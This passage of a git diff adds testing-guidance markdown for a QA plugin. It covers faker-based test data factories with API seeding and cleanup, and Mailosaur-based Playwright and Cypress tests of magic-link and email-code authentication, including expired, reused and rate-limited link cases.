+export const createProduct = (overrides: Partial<Product> = {}): Product => ({
+  id: faker.string.uuid(),
+  name: faker.commerce.productName(),
+  price: parseFloat(faker.commerce.price()),
+  stock: faker.number.int({ min: 0, max: 100 }),
+  category: faker.commerce.department(),
+  ...overrides,
+});
+
+// Usage in tests:
+test('admin can delete users', async ({ page, apiRequest }) => {
+  // Default user
+  const user = createUser();
+
+  // Admin user (explicit override shows intent)
+  const admin = createUser({ role: 'admin' });
+
+  // Seed via API (fast!)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+
+  // Now test UI behavior
+  await page.goto('/admin/users');
+  await page.click(`[data-testid="delete-user-${user.id}"]`);
+  await expect(page.getByText(`User ${user.name} deleted`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `Partial<User>` allows overriding any field without breaking type safety
+- Faker generates unique values—no collisions in parallel tests
+- Override shows test intent: `createUser({ role: 'admin' })` is explicit
+- Factory lives in `test-utils/factories/` for easy reuse
+
+### Example 2: Nested Factory Pattern
+
+**Context**: When testing relationships (orders with users and products), nest factories to create complete object graphs. Control relationship data explicitly.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/order-factory.ts
+import { createUser } from './user-factory';
+import { createProduct } from './product-factory';
+
+type OrderItem = {
+  product: Product;
+  quantity: number;
+  price: number;
+};
+
+type Order = {
+  id: string;
+  user: User;
+  items: OrderItem[];
+  total: number;
+  status: 'pending' | 'paid' | 'shipped' | 'delivered';
+  createdAt: Date;
+};
+
+export const createOrderItem = (overrides: Partial<OrderItem> = {}): OrderItem => {
+  const product = overrides.product || createProduct();
+  const quantity = overrides.quantity || faker.number.int({ min: 1, max: 5 });
+
+  return {
+    product,
+    quantity,
+    price: product.price * quantity,
+    ...overrides,
+  };
+};
+
+export const createOrder = (overrides: Partial<Order> = {}): Order => {
+  const items = overrides.items || [createOrderItem(), createOrderItem()];
+  const total = items.reduce((sum, item) => sum + item.price, 0);
+
+  return {
+    id: faker.string.uuid(),
+    user: overrides.user || createUser(),
+    items,
+    total,
+    status: 'pending',
+    createdAt: new Date(),
+    ...overrides,
+  };
+};
+
+// Usage in tests:
+test('user can view order details', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com' });
+  const product1 = createProduct({ name: 'Widget A', price: 10.0 });
+  const product2 = createProduct({ name: 'Widget B', price: 15.0 });
+
+  // Explicit relationships
+  const order = createOrder({
+    user,
+    items: [
+      createOrderItem({ product: product1, quantity: 2 }), // $20
+      createOrderItem({ product: product2, quantity: 1 }), // $15
+    ],
+  });
+
+  // Seed via API
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product1 });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product2 });
+  await apiRequest({ method: 'POST', url: '/api/orders', data: order });
+
+  // Test UI
+  await page.goto(`/orders/${order.id}`);
+  await expect(page.getByText('Widget A x 2')).toBeVisible();
+  await expect(page.getByText('Widget B x 1')).toBeVisible();
+  await expect(page.getByText('Total: $35.00')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Nested factories handle relationships (order → user, order → products)
+- Overrides cascade: provide custom user/products or use defaults
+- Calculated fields (total) derived automatically from nested data
+- Explicit relationships make test data clear and maintainable
+
+### Example 3: Factory with API Seeding
+
+**Context**: When tests need data setup, always use API calls or database tasks—never UI navigation. Wrap factory usage with seeding utilities for clean test setup.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/seed-helpers.ts
+import { APIRequestContext } from '@playwright/test';
+import { User, createUser } from '../../test-utils/factories/user-factory';
+import { Product, createProduct } from '../../test-utils/factories/product-factory';
+
+export async function seedUser(request: APIRequestContext, overrides: Partial<User> = {}): Promise<User> {
+  const user = createUser(overrides);
+
+  const response = await request.post('/api/users', {
+    data: user,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed user: ${response.status()}`);
+  }
+
+  return user;
+}
+
+export async function seedProduct(request: APIRequestContext, overrides: Partial<Product> = {}): Promise<Product> {
+  const product = createProduct(overrides);
+
+  const response = await request.post('/api/products', {
+    data: product,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed product: ${response.status()}`);
+  }
+
+  return product;
+}
+
+// Playwright globalSetup for shared data
+// playwright/support/global-setup.ts
+import { chromium, FullConfig } from '@playwright/test';
+import { seedUser } from './helpers/seed-helpers';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+  const context = page.context();
+
+  // Seed admin user for all tests
+  const admin = await seedUser(context.request, {
+    email: 'admin@example.com',
+    role: 'admin',
+  });
+
+  // Save auth state for reuse
+  await context.storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+export default globalSetup;
+
+// Cypress equivalent with cy.task
+// cypress/support/tasks.ts
+export const seedDatabase = async (entity: string, data: unknown) => {
+  // Direct database insert or API call
+  if (entity === 'users') {
+    await db.users.create(data);
+  }
+  return null;
+};
+
+// Usage in Cypress tests:
+beforeEach(() => {
+  const user = createUser({ email: 'test@example.com' });
+  cy.task('db:seed', { entity: 'users', data: user });
+});
+```
+
+**Key Points**:
+
+- API seeding is 10-50x faster than UI-based setup
+- `globalSetup` seeds shared data once (e.g., admin user)
+- Per-test seeding uses `seedUser()` helpers for isolation
+- Cypress `cy.task` allows direct database access for speed
+
+### Example 4: Anti-Pattern - Hardcoded Test Data
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Hardcoded test data
+test('user can login', async ({ page }) => {
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', 'test@test.com'); // Hardcoded
+  await page.fill('[data-testid="password"]', 'password123'); // Hardcoded
+  await page.click('[data-testid="submit"]');
+
+  // What if this user already exists? Test fails in parallel runs.
+  // What if schema adds required fields? Test breaks.
+});
+
+// ❌ BAD: Static JSON fixtures
+// fixtures/users.json
+{
+  "users": [
+    { "id": 1, "email": "user1@test.com", "name": "User 1" },
+    { "id": 2, "email": "user2@test.com", "name": "User 2" }
+  ]
+}
+
+test('admin can delete user', async ({ page }) => {
+  const users = require('../fixtures/users.json');
+  // Brittle: IDs collide in parallel, schema drift breaks tests
+});
+```
+
+**Why It Fails**:
+
+- **Parallel collisions**: Hardcoded IDs (`id: 1`, `email: 'test@test.com'`) cause failures when tests run concurrently
+- **Schema drift**: Adding required fields (`phoneNumber`, `address`) breaks all tests using fixtures
+- **Hidden intent**: Does this test need `email: 'test@test.com'` specifically, or any email?
+- **Slow setup**: UI-based data creation is 10-50x slower than API
+
+**Better Approach**: Use factories
+
+```typescript
+// ✅ GOOD: Factory-based data
+test('user can login', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'unique@example.com', password: 'secure123' });
+
+  // Seed via API (fast, parallel-safe)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+
+  // Test UI
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', user.email);
+  await page.fill('[data-testid="password"]', user.password);
+  await page.click('[data-testid="submit"]');
+
+  await expect(page).toHaveURL('/dashboard');
+});
+
+// ✅ GOOD: Factories adapt to schema changes automatically
+// When `phoneNumber` becomes required, update factory once:
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  phoneNumber: faker.phone.number(), // NEW field, all tests get it automatically
+  role: 'user',
+  ...overrides,
+});
+```
+
+**Key Points**:
+
+- Factories generate unique, parallel-safe data
+- Schema evolution handled in one place (factory), not every test
+- Test intent explicit via overrides
+- API seeding is fast and reliable
+
+### Example 5: Factory Composition
+
+**Context**: When building specialized factories, compose simpler factories instead of duplicating logic. Layer overrides for specific test scenarios.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts (base)
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// Compose specialized factories
+export const createAdminUser = (overrides: Partial<User> = {}): User => createUser({ role: 'admin', ...overrides });
+
+export const createModeratorUser = (overrides: Partial<User> = {}): User => createUser({ role: 'moderator', ...overrides });
+
+export const createInactiveUser = (overrides: Partial<User> = {}): User => createUser({ isActive: false, ...overrides });
+
+// Account-level factories with feature flags
+type Account = {
+  id: string;
+  owner: User;
+  plan: 'free' | 'pro' | 'enterprise';
+  features: string[];
+  maxUsers: number;
+};
+
+export const createAccount = (overrides: Partial<Account> = {}): Account => ({
+  id: faker.string.uuid(),
+  owner: overrides.owner || createUser(),
+  plan: 'free',
+  features: [],
+  maxUsers: 1,
+  ...overrides,
+});
+
+export const createProAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'pro',
+    features: ['advanced-analytics', 'priority-support'],
+    maxUsers: 10,
+    ...overrides,
+  });
+
+export const createEnterpriseAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'enterprise',
+    features: ['advanced-analytics', 'priority-support', 'sso', 'audit-logs'],
+    maxUsers: 100,
+    ...overrides,
+  });
+
+// Usage in tests:
+test('pro accounts can access analytics', async ({ page, apiRequest }) => {
+  const admin = createAdminUser({ email: 'admin@company.com' });
+  const account = createProAccount({ owner: admin });
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Advanced Analytics')).toBeVisible();
+});
+
+test('free accounts cannot access analytics', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'user@company.com' });
+  const account = createAccount({ owner: user }); // Defaults to free plan
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Upgrade to Pro')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Compose specialized factories from base factories (`createAdminUser` → `createUser`)
+- Defaults cascade: `createProAccount` sets plan + features automatically
+- Still allow overrides: `createProAccount({ maxUsers: 50 })` works
+- Test intent clear: `createProAccount()` vs `createAccount({ plan: 'pro', features: [...] })`
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (factory setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Pure functions and fixtures for factory integration
+  - `network-first.md` - API-first setup patterns
+  - `test-quality.md` - Parallel-safe, deterministic test design
+
+## Cleanup Strategy
+
+Ensure factories work with cleanup patterns:
+
+```typescript
+// Track created IDs for cleanup
+const createdUsers: string[] = [];
+
+afterEach(async ({ apiRequest }) => {
+  // Clean up all users created during test
+  for (const userId of createdUsers) {
+    await apiRequest({ method: 'DELETE', url: `/api/users/${userId}` });
+  }
+  createdUsers.length = 0;
+});
+
+test('user registration flow', async ({ page, apiRequest }) => {
+  const user = createUser();
+  createdUsers.push(user.id);
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  // ... test logic
+});
+```
+
+## Feature Flag Integration
+
+When working with feature flags, layer them into factories:
+
+```typescript
+export const createUserWithFlags = (
+  overrides: Partial<User> = {},
+  flags: Record<string, boolean> = {},
+): User & { flags: Record<string, boolean> } => ({
+  ...createUser(overrides),
+  flags: {
+    'new-dashboard': false,
+    'beta-features': false,
+    ...flags,
+  },
+});
+
+// Usage:
+const user = createUserWithFlags(
+  { email: 'test@example.com' },
+  {
+    'new-dashboard': true,
+    'beta-features': true,
+  },
+);
+```
+
+_Source: Murat Testing Philosophy (lines 94-120), API-first testing patterns, faker.js documentation._
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/email-auth.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/email-auth.md
new file mode 100644
index 0000000..653a8eb
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/email-auth.md
@@ -0,0 +1,721 @@
+# Email-Based Authentication Testing
+
+## Principle
+
+Email-based authentication (magic links, one-time codes, passwordless login) requires specialized testing with email capture services like Mailosaur or Ethereal. Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts.
+
+## Rationale
+
+Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state). Using email capture services + session caching + state preservation patterns makes email auth tests fast, reliable, and cost-effective.
+
+## Pattern Examples
+
+### Example 1: Magic Link Extraction with Mailosaur
+
+**Context**: Passwordless login flow where user receives magic link via email, clicks it, and is authenticated.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/magic-link-auth.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Magic Link Authentication Flow
+ * 1. User enters email
+ * 2. Backend sends magic link
+ * 3. Test retrieves email via Mailosaur
+ * 4. Extract and visit magic link
+ * 5. Verify user is authenticated
+ */
+
+// Mailosaur configuration
+const MAILOSAUR_API_KEY = process.env.MAILOSAUR_API_KEY!;
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+/**
+ * Extract href from HTML email body
+ * DOMParser provides XML/HTML parsing in Node.js
+ */
+function extractMagicLink(htmlString: string): string | null {
+  const { JSDOM } = require('jsdom');
+  const dom = new JSDOM(htmlString);
+  const link = dom.window.document.querySelector('#magic-link-button');
+  return link ? (link as HTMLAnchorElement).href : null;
+}
+
+/**
+ * Alternative: Use Mailosaur's built-in link extraction
+ * Mailosaur automatically parses links - no regex needed!
+ */
+async function getMagicLinkFromEmail(email: string): Promise<string> {
+  const MailosaurClient = require('mailosaur');
+  const mailosaur = new MailosaurClient(MAILOSAUR_API_KEY);
+
+  // Wait for email (timeout: 30 seconds)
+  const message = await mailosaur.messages.get(
+    MAILOSAUR_SERVER_ID,
+    {
+      sentTo: email,
+    },
+    {
+      timeout: 30000, // 30 seconds
+    },
+  );
+
+  // Mailosaur extracts links automatically - no parsing needed!
+  const magicLink = message.html?.links?.[0]?.href;
+
+  if (!magicLink) {
+    throw new Error(`Magic link not found in email to ${email}`);
+  }
+
+  console.log(`📧 Email received. Magic link extracted: ${magicLink}`);
+  return magicLink;
+}
+
+test.describe('Magic Link Authentication', () => {
+  test('should authenticate user via magic link', async ({ page, context }) => {
+    // Arrange: Generate unique test email
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Act: Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Assert: Success message
+    await expect(page.getByTestId('check-email-message')).toBeVisible();
+    await expect(page.getByTestId('check-email-message')).toContainText('Check your email');
+
+    // Retrieve magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit magic link
+    await page.goto(magicLink);
+
+    // Assert: User is authenticated
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+    await expect(page.getByTestId('user-email')).toContainText(testEmail);
+
+    // Verify session storage preserved
+    const localStorage = await page.evaluate(() => JSON.stringify(window.localStorage));
+    expect(localStorage).toContain('authToken');
+  });
+
+  test('should handle expired magic link', async ({ page }) => {
+    // Use pre-expired link (older than 15 minutes)
+    const expiredLink = 'http://localhost:3000/auth/verify?token=expired-token-123';
+
+    await page.goto(expiredLink);
+
+    // Assert: Error message displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has expired');
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should prevent reusing magic link', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link first time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('sign-out').click();
+
+    // Try to reuse same link (should fail)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has already been used');
+  });
+});
+```
+
+**Cypress equivalent with Mailosaur plugin**:
+
+```javascript
+// cypress/e2e/magic-link-auth.cy.ts
+describe('Magic Link Authentication', () => {
+  it('should authenticate user via magic link', () => {
+    const serverId = Cypress.env('MAILOSAUR_SERVERID');
+    const randomId = Cypress._.random(1e6);
+    const testEmail = `user-${randomId}@${serverId}.mailosaur.net`;
+
+    // Request magic link
+    cy.visit('/login');
+    cy.get('[data-cy="email-input"]').type(testEmail);
+    cy.get('[data-cy="send-magic-link"]').click();
+    cy.get('[data-cy="check-email-message"]').should('be.visible');
+
+    // Retrieve and visit magic link
+    cy.mailosaurGetMessage(serverId, { sentTo: testEmail })
+      .its('html.links.0.href') // Mailosaur extracts links automatically!
+      .should('exist')
+      .then((magicLink) => {
+        cy.log(`Magic link: ${magicLink}`);
+        cy.visit(magicLink);
+      });
+
+    // Verify authenticated
+    cy.get('[data-cy="user-menu"]').should('be.visible');
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+});
+```
+
+**Key Points**:
+
+- **Mailosaur auto-extraction**: `html.links[0].href` or `html.codes[0].value`
+- **Unique emails**: Random ID prevents collisions
+- **Negative testing**: Expired and reused links tested
+- **State verification**: localStorage/session checked
+- **Fast email retrieval**: 30 second timeout typical
+
+---
+
+### Example 2: State Preservation Pattern with cy.session / Playwright storageState
+
+**Context**: Cache authenticated session to avoid requesting magic link on every test.
+
+**Implementation**:
+
+```typescript
+// playwright/fixtures/email-auth-fixture.ts
+import { test as base } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+type EmailAuthFixture = {
+  authenticatedUser: { email: string; token: string };
+};
+
+export const test = base.extend<EmailAuthFixture>({
+  authenticatedUser: async ({ page, context }, use) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${process.env.MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Check if we have cached auth state for this email
+    const storageStatePath = `./test-results/auth-state-${testEmail}.json`;
+
+    try {
+      // Try to reuse existing session
+      await context.storageState({ path: storageStatePath });
+      await page.goto('/dashboard');
+
+      // Validate session is still valid
+      const isAuthenticated = await page.getByTestId('user-menu').isVisible({ timeout: 2000 });
+
+      if (isAuthenticated) {
+        console.log(`✅ Reusing cached session for ${testEmail}`);
+        await use({ email: testEmail, token: 'cached' });
+        return;
+      }
+    } catch (error) {
+      console.log(`📧 No cached session, requesting magic link for ${testEmail}`);
+    }
+
+    // Request new magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Get magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link and authenticate
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Extract auth token from localStorage
+    const authToken = await page.evaluate(() => localStorage.getItem('authToken'));
+
+    // Save session state for reuse
+    await context.storageState({ path: storageStatePath });
+
+    console.log(`💾 Cached session for ${testEmail}`);
+
+    await use({ email: testEmail, token: authToken || '' });
+  },
+});
+```
+
+**Cypress equivalent with cy.session + data-session**:
+
+```javascript
+// cypress/support/commands/email-auth.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Authenticate via magic link with session caching
+ * - First run: Requests email, extracts link, authenticates
+ * - Subsequent runs: Reuses cached session (no email)
+ */
+Cypress.Commands.add('authViaMagicLink', (email) => {
+  return dataSession({
+    name: `magic-link-${email}`,
+
+    // First-time setup: Request and process magic link
+    setup: () => {
+      cy.visit('/login');
+      cy.get('[data-cy="email-input"]').type(email);
+      cy.get('[data-cy="send-magic-link"]').click();
+
+      // Get magic link from Mailosaur
+      cy.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), {
+        sentTo: email,
+      })
+        .its('html.links.0.href')
+        .should('exist')
+        .then((magicLink) => {
+          cy.visit(magicLink);
+        });
+
+      // Wait for authentication
+      cy.get('[data-cy="user-menu"]', { timeout: 10000 }).should('be.visible');
+
+      // Preserve authentication state
+      return cy.getAllLocalStorage().then((storage) => {
+        return { storage, email };
+      });
+    },
+
+    // Validate cached session is still valid
+    validate: (cached) => {
+      return cy.wrap(Boolean(cached?.storage));
+    },
+
+    // Recreate session from cache (no email needed)
+    recreate: (cached) => {
+      // Restore localStorage
+      cy.setLocalStorage(cached.storage);
+      cy.visit('/dashboard');
+      cy.get('[data-cy="user-menu"]', { timeout: 5000 }).should('be.visible');
+    },
+
+    shareAcrossSpecs: true, // Share session across all tests
+  });
+});
+```
+
+**Usage in tests**:
+
+```javascript
+// cypress/e2e/dashboard.cy.ts
+describe('Dashboard', () => {
+  const serverId = Cypress.env('MAILOSAUR_SERVERID');
+  const testEmail = `test-user@${serverId}.mailosaur.net`;
+
+  beforeEach(() => {
+    // First test: Requests magic link
+    // Subsequent tests: Reuses cached session (no email!)
+    cy.authViaMagicLink(testEmail);
+  });
+
+  it('should display user dashboard', () => {
+    cy.get('[data-cy="dashboard-content"]').should('be.visible');
+  });
+
+  it('should show user profile', () => {
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+
+  // Both tests share same session - only 1 email consumed!
+});
+```
+
+**Key Points**:
+
+- **Session caching**: First test requests email, rest reuse session
+- **State preservation**: localStorage/cookies saved and restored
+- **Validation**: Check cached session is still valid
+- **Quota optimization**: Massive reduction in email consumption
+- **Fast tests**: Cached auth takes seconds vs. minutes
+
+---
+
+### Example 3: Negative Flow Tests (Expired, Invalid, Reused Links)
+
+**Context**: Comprehensive negative testing for email authentication edge cases.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/email-auth-negative.spec.ts
+import { test, expect } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+test.describe('Email Auth Negative Flows', () => {
+  test('should reject expired magic link', async ({ page }) => {
+    // Generate expired link (simulate 24 hours ago)
+    const expiredToken = Buffer.from(
+      JSON.stringify({
+        email: 'test@example.com',
+        exp: Date.now() - 24 * 60 * 60 * 1000, // 24 hours ago
+      }),
+    ).toString('base64');
+
+    const expiredLink = `http://localhost:3000/auth/verify?token=${expiredToken}`;
+
+    // Visit expired link
+    await page.goto(expiredLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/link.*expired|expired.*link/i);
+
+    // Assert: Link to request new one
+    await expect(page.getByTestId('request-new-link')).toBeVisible();
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject invalid magic link token', async ({ page }) => {
+    const invalidLink = 'http://localhost:3000/auth/verify?token=invalid-garbage';
+
+    await page.goto(invalidLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/invalid.*link|link.*invalid/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject already-used magic link', async ({ page, context }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link FIRST time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('user-menu').click();
+    await page.getByTestId('sign-out').click();
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+
+    // Try to reuse SAME link (should fail)
+    await page.goto(magicLink);
+
+    // Assert: Link already used error
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/already.*used|link.*used/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should handle rapid successive link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 3 times rapidly
+    for (let i = 0; i < 3; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+      await expect(page.getByTestId('check-email-message')).toBeVisible();
+    }
+
+    // Only the LATEST link should work
+    const MailosaurClient = require('mailosaur');
+    const mailosaur = new MailosaurClient(process.env.MAILOSAUR_API_KEY);
+
+    const messages = await mailosaur.messages.list(MAILOSAUR_SERVER_ID, {
+      sentTo: testEmail,
+    });
+
+    // Should receive 3 emails
+    expect(messages.items.length).toBeGreaterThanOrEqual(3);
+
+    // Get the LATEST magic link
+    const latestMessage = messages.items[0]; // Most recent first
+    const latestLink = latestMessage.html.links[0].href;
+
+    // Latest link works
+    await page.goto(latestLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Older links should NOT work (if backend invalidates previous)
+    await page.getByTestId('sign-out').click();
+    const olderLink = messages.items[1].html.links[0].href;
+
+    await page.goto(olderLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+  });
+
+  test('should rate-limit excessive magic link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 10 times rapidly (should hit rate limit)
+    for (let i = 0; i < 10; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+
+      // After N requests, should show rate limit error
+      const errorVisible = await page
+        .getByTestId('rate-limit-error')
+        .isVisible({ timeout: 1000 })
+        .catch(() => false);
+
+      if (errorVisible) {
+        console.log(`Rate limit hit after ${i + 1} requests`);
+        await expect(page.getByTestId('rate-limit-error')).toContainText(/too many.*requests|rate.*limit/i);
+        return;
+      }
+    }
+
+    // If no rate limit after 10 requests, log warning
+    console.warn('⚠️  No rate limit detected after 10 requests');
+  });
+});
+```
+
+**Key Points**:
+
+- **Expired links**: Test 24+ hour old tokens
+- **Invalid tokens**: Malformed or garbage tokens rejected
+- **Reuse prevention**: Same link can't be used twice
+- **Rapid requests**: Multiple requests handled gracefully
+- **Rate limiting**: Excessive requests blocked
+
+---
+
+### Example 4: Caching Strategy with cypress-data-session / Playwright Projects
+
+**Context**: Minimize email consumption by sharing authentication state across tests and specs.
+
+**Implementation**:
+
+```javascript
+// cypress/support/commands/register-and-sign-in.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Email Authentication Caching Strategy
+ * - One email per test run (not per spec, not per test)
+ * - First spec: Full registration flow (form → email → code → sign in)
+ * - Subsequent specs: Only sign in (reuse user)
+ * - Subsequent tests in same spec: Session already active (no sign in)
+ */
+
+// Helper: Fill registration form
+function fillRegistrationForm({ fullName, userName, email, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Register').click();
+  cy.get('#reg-dialog-form').should('be.visible');
+  cy.get('#first-name').type(fullName, { delay: 0 });
+  cy.get('#last-name').type(lastName, { delay: 0 });
+  cy.get('#email').type(email, { delay: 0 });
+  cy.get('#username').type(userName, { delay: 0 });
+  cy.get('#password').type(password, { delay: 0 });
+  cy.contains('button', 'Create an account').click();
+  cy.wait('@cognito').its('response.statusCode').should('equal', 200);
+}
+
+// Helper: Confirm registration with email code
+function confirmRegistration(email) {
+  return cy
+    .mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), { sentTo: email })
+    .its('html.codes.0.value') // Mailosaur auto-extracts codes!
+    .then((code) => {
+      cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+      cy.get('#verification-code').type(code, { delay: 0 });
+      cy.contains('button', 'Confirm registration').click();
+      cy.wait('@cognito');
+      cy.contains('You are now registered!').should('be.visible');
+      cy.contains('button', /ok/i).click();
+      return cy.wrap(code); // Return code for reference
+    });
+}
+
+// Helper: Full registration (form + email)
+function register({ fullName, userName, email, password }) {
+  fillRegistrationForm({ fullName, userName, email, password });
+  return confirmRegistration(email);
+}
+
+// Helper: Sign in
+function signIn({ userName, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Sign in').click();
+  cy.get('#sign-in-username').type(userName, { delay: 0 });
+  cy.get('#sign-in-password').type(password, { delay: 0 });
+  cy.contains('button', 'Sign in').click();
+  cy.wait('@cognito');
+  cy.contains('Sign out').should('be.visible');
+}
+
+/**
+ * Register and sign in with email caching
+ * ONE EMAIL PER MACHINE (cypress run or cypress open)
+ */
+Cypress.Commands.add('registerAndSignIn', ({ fullName, userName, email, password }) => {
+  return dataSession({
+    name: email, // Unique session per email
+
+    // First time: Full registration (form → email → code)
+    init: () => register({ fullName, userName, email, password }),
+
+    // Subsequent specs: Just check email exists (code already used)
+    setup: () => confirmRegistration(email),
+
+    // Always runs after init/setup: Sign in
